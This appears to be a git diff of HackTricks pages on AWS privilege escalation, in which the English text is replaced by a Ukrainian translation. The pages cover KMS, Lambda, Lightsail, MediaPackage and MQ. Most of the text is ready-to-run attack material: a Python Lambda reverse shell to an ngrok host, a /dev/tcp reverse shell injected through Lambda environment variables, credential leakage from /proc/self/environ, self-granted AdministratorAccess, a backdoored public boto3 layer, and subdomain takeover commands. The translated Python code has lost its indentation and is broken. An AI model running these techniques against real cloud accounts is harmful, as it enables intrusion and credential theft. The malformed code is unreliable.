[https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Зверніть увагу, що може знадобитися кілька хвилин, щоб KMS **дозволив користувачу використовувати ключ після створення гранту**. Як тільки цей час мине, принципал може використовувати ключ KMS без необхідності вказувати щось.\ +> Однак, якщо потрібно використовувати грант негайно, [використовуйте токен гранту](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (перевірте наступний код).\ +> Для [**додаткової інформації прочитайте це**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Зверніть увагу, що можна перерахувати надання ключів за допомогою: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +З цими дозволами можливо реплікувати ключ KMS, активований для кількох регіонів, в іншому регіоні з іншою політикою. +Отже, зловмисник може зловживати цим, щоб отримати підвищення привілеїв до ключа та використовувати його. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +Цей дозвіл дозволяє використовувати ключ для розшифровки деякої інформації.\ +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..66581c1d3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Більше інформації про lambda в: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ +Вони можуть **створити нову Lambda функцію та призначити їй існуючу IAM роль**, надаючи функції права, пов'язані з цією роллю. Користувач може потім **написати та завантажити код до цієї Lambda функції (наприклад, з rev shell)**.\ +Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання непрямо через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\ +Зловмисник може зловживати цим, щоб отримати **rev shell та вкрасти токен**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +Ви також могли б **зловживати дозволами ролі lambda** з самої функції lambda.\ +Якщо роль lambda мала б достатньо дозволів, ви могли б використати її, щоб надати собі права адміністратора: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +Також можливо витікати облікові дані ролі lambda без необхідності зовнішнього з'єднання. Це буде корисно для **мережевих ізольованих Lambdas**, які використовуються для внутрішніх завдань. Якщо є невідомі групи безпеки, які фільтрують ваші зворотні оболонки, цей фрагмент коду дозволить вам безпосередньо витікати облікові дані як вихідні дані lambda. ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` +**Потенційний вплив:** Пряме підвищення привілеїв до вказаної довільної ролі служби lambda. -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. - -> [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> [!УВАГА] +> Зверніть увагу, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє самостійно **виконувати `aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Як і в попередньому сценарії, ви можете **надати собі дозвіл `lambda:InvokeFunction`**, якщо у вас є дозвіл **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Потенційний вплив:** Пряме підвищення привілеїв до вказаної довільної ролі служби lambda. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +Користувачі з **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** дозволами (і потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї** навіть без `lambda:InvokeFunction`.\ +Вони можуть створити **функцію Lambda з шкідливим кодом і призначити їй існуючу роль IAM**. +Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через картографування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при введенні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої ролі IAM. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Якщо DynamoDB вже активний в середовищі AWS, користувачеві лише **необхідно встановити відображення джерела подій** для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненим потоковим режимом: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Тепер можливо **підключити функцію Lambda до таблиці DynamoDB** шляхом **створення відображення джерела подій**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +З функцією Lambda, пов'язаною з потоком DynamoDB, зловмисник може **непрямо активувати Lambda, активуючи потік DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda, що вказана. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Зловмисник з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це генерує політики на основі ресурсів для надання доступу до ресурсу): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda, що використовується шляхом надання дозволу на зміну коду та його виконання. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Зловмисник з цим дозволом може **наділити себе (або інших) дозволом `lambda:GetLayerVersion`**. Він може отримати доступ до шару та шукати вразливості або чутливу інформацію. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Потенційний вплив:** Потенційний доступ до чутливої інформації. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають потенціал **модифікувати код існуючої Lambda-функції, яка пов'язана з IAM-роллю.**\ +Зловмисник може **модифікувати код lambda для ексфільтрації IAM-облікових даних**. +Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, таким чином непрямо сприяючи виконанню модифікованого коду. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### RCE через змінні середовища +З цими дозволами можливо додати змінні середовища, які викличуть виконання довільного коду в Lambda. Наприклад, у Python можливо зловживати змінними середовища `PYTHONWARNING` та `BROWSER`, щоб змусити процес Python виконувати довільні команди: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Для інших мов сценаріїв є інші змінні середовища, які ви можете використовувати. Для отримання додаткової інформації перевірте підрозділи мов сценаріїв у: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### RCE через Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **код** у вашу функцію lamdba, але **зберігати його окремо**, тому код функції може залишатися маленьким, а **кілька функцій можуть ділитися кодом**. +Всередині lambda ви можете перевірити шляхи, з яких завантажується python код, за допомогою функції, подібної до наступної: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +Це місця: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Наприклад, бібліотека boto3 завантажується з `/var/runtime/boto3` (4-та позиція). -#### Exploitation +#### Експлуатація -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +Можливо зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий шар** до функції lambda. Щоб виконати довільний код, цей шар повинен містити якусь **бібліотеку, яку lambda збирається імпортувати.** Якщо ви можете прочитати код lambda, ви могли б легко це знайти, також зверніть увагу, що можливо, що lambda **вже використовує шар** і ви могли б **завантажити** шар і **додати свій код** туди. +Наприклад, припустимо, що lambda використовує бібліотеку boto3, це створить локальний шар з останньою версією бібліотеки: ```bash pip3 install -t ./lambda_layer boto3 ``` +Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати бекдор у глобальний код** (функцію для ексфільтрації облікових даних або отримання зворотного шелу, наприклад). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Потім стисніть цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути дозволів на це).\ +Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Також layer повинен бути **сумісним з версією python**, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в **тій же області:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Тепер зробіть завантажений шар lambda **доступним для будь-якого облікового запису**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +І прикріпіть шар lambda до функції lambda жертви: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +Наступним кроком буде або **викликати функцію** самостійно, якщо ми можемо, або чекати, поки **вона буде викликана** звичайними засобами – що є більш безпечним методом. -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +**Більш прихований спосіб експлуатувати цю вразливість** можна знайти в: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби lambda. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Можливо, з цими дозволами ви зможете створити функцію та виконати її, викликавши URL... але я не зміг знайти спосіб це протестувати, тож дайте знати, якщо ви це зробите! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Деякі lambdas будуть **отримувати чутливу інформацію від користувачів у параметрах.** Якщо ви отримаєте RCE в одному з них, ви зможете ексфільтрувати інформацію, яку інші користувачі надсилають до нього, перевірте це в: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..8581c7bba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Для отримання додаткової інформації про Lightsail перегляньте: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Важливо зазначити, що Lightsail **не використовує IAM ролі, що належать користувачу**, а належать керованому обліковому запису AWS, тому ви не можете зловживати цією службою для підвищення привілеїв. Однак, **чутливі дані**, такі як код, API ключі та інформація про базу даних, можуть бути знайдені в цій службі. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +Ця дозволена дія дозволить вам отримати SSH ключі для доступу до інстансів: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Потенційний вплив:** Знайти чутливу інформацію всередині інстансів. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +Ця дозволена дія дозволить вам генерувати SSH-ключі для доступу до інстансів: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Потенційний вплив:** Знайти чутливу інформацію всередині інстансів. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +Ця дозволена дія дозволить вам отримати ключ для доступу до бакету: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Потенційний вплив:** Знайти чутливу інформацію всередині бакету. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +Ця дозволена дія дозволить вам отримати облікові дані для доступу до бази даних: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Потенційний вплив:** Знайти чутливу інформацію в базі даних. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +Ця дозволена дія дозволить вам змінити пароль для доступу до бази даних: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Якщо база даних не є публічною, ви також можете зробити її публічною з цими дозволами з ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Потенційний вплив:** Знайти чутливу інформацію в базі даних. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +Ця дозволяє відкривати порти для Інтернету. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Потенційний вплив:** Доступ до чутливих портів. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +Ця дозволяє відкривати порти для Інтернету. Зверніть увагу, що виклик закриє будь-який порт, який не вказано в ньому. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Потенційний вплив:** Доступ до чутливих портів. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Ця дозволяє надати екземплярам доступ до кошика без додаткових облікових даних. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Потенційний вплив:** Потенційний новий доступ до бакетів з чутливою інформацією. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +З цією дозволом зловмисник може надати своєму обліковому запису AWS доступ на читання до бакетів або навіть зробити бакети публічними для всіх: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Потенційний вплив:** Потенційний новий доступ до бакетів з чутливою інформацією. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +З цими правами зловмисник може надати доступ до приватних ECR з сервісу контейнерів. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Потенційний вплив:** Отримати чутливу інформацію з приватного ECR ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (взяття піддомену під контроль), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть встановити основний домен на свою власну IP-адресу. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Потенційний вплив:** Захоплення домену ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (захоплення піддомену), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть встановити основний домен на свою власну IP-адресу. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Потенційний вплив:** Захоплення домену {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..17fa87a57 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Змінює ім'я користувача та пароль першого IngestEndpoint каналу. (Цей API застарілий для RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Змінює ім'я користувача та пароль першого IngestEndpoint каналу. (Цей API застарілий для RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## Посилання - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..8d8bbcd9c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +Для отримання додаткової інформації про MQ дивіться: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +З цими дозволами ви можете **створити нового користувача в брокері ActimeMQ** (це не працює в RabbitMQ): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Потенційний вплив:** 